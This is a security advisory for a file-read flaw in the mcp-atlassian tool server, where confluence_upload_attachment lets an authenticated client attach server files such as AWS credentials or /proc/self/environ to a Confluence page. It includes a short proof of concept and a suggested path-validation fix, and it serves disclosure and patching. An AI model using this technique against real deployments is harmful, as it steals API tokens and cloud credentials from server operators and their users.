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MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials

CVE-2026-77259 ยท 2026-09-22 high

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Path traversal and file access
Also involves
Sensitive Data Disclosure
Affected
mcp-atlassian (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
EPSS
0.4% chance of exploitation in 30 days

How it works, in short

The Confluence upload tool opens any caller-supplied local path without checks, letting a client attach server files such as credentials to a page. (Our summary, written by a model. The source text is below.)

Details

Summary

Missing path validation in confluence_upload_attachment allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, /proc/self/environ yields all runtime secrets in a single call.

---
### Details

AttachmentsMixin.upload_attachment() in src/mcp_atlassian/confluence/attachments.py opens the caller-supplied file_path with no boundary check:

# line 477
files = {"file": (filename, open(file_path, "rb"))}

The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via validate_safe_path() (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (servers/confluence.py:1295) passes file_path verbatim with no additional sanitization.

---
### PoC

# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png

# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = "<any page attacker can edit>",
    file_path  = "/tmp/diagram.png"
)

# 3. Download attachment from Confluence โ€” contains raw credentials

Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.

---
### Impact
Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, /proc/self/environ exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.

Incomplete fix of GHSA-xjgw-4wvw-rgm4 โ€” arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.

---
### Suggested Fix

# src/mcp_atlassian/confluence/attachments.py โ€” upload_attachment()
# Add after abspath conversion, before open():

try:
    validate_safe_path(file_path)
except ValueError as e:
    return {"success": False, "error": str(e)}

Same fix required in upload_attachments() and src/mcp_atlassian/jira/attachments.py.

References

Source: GitHub Advisory Database, used under CC BY 4.0.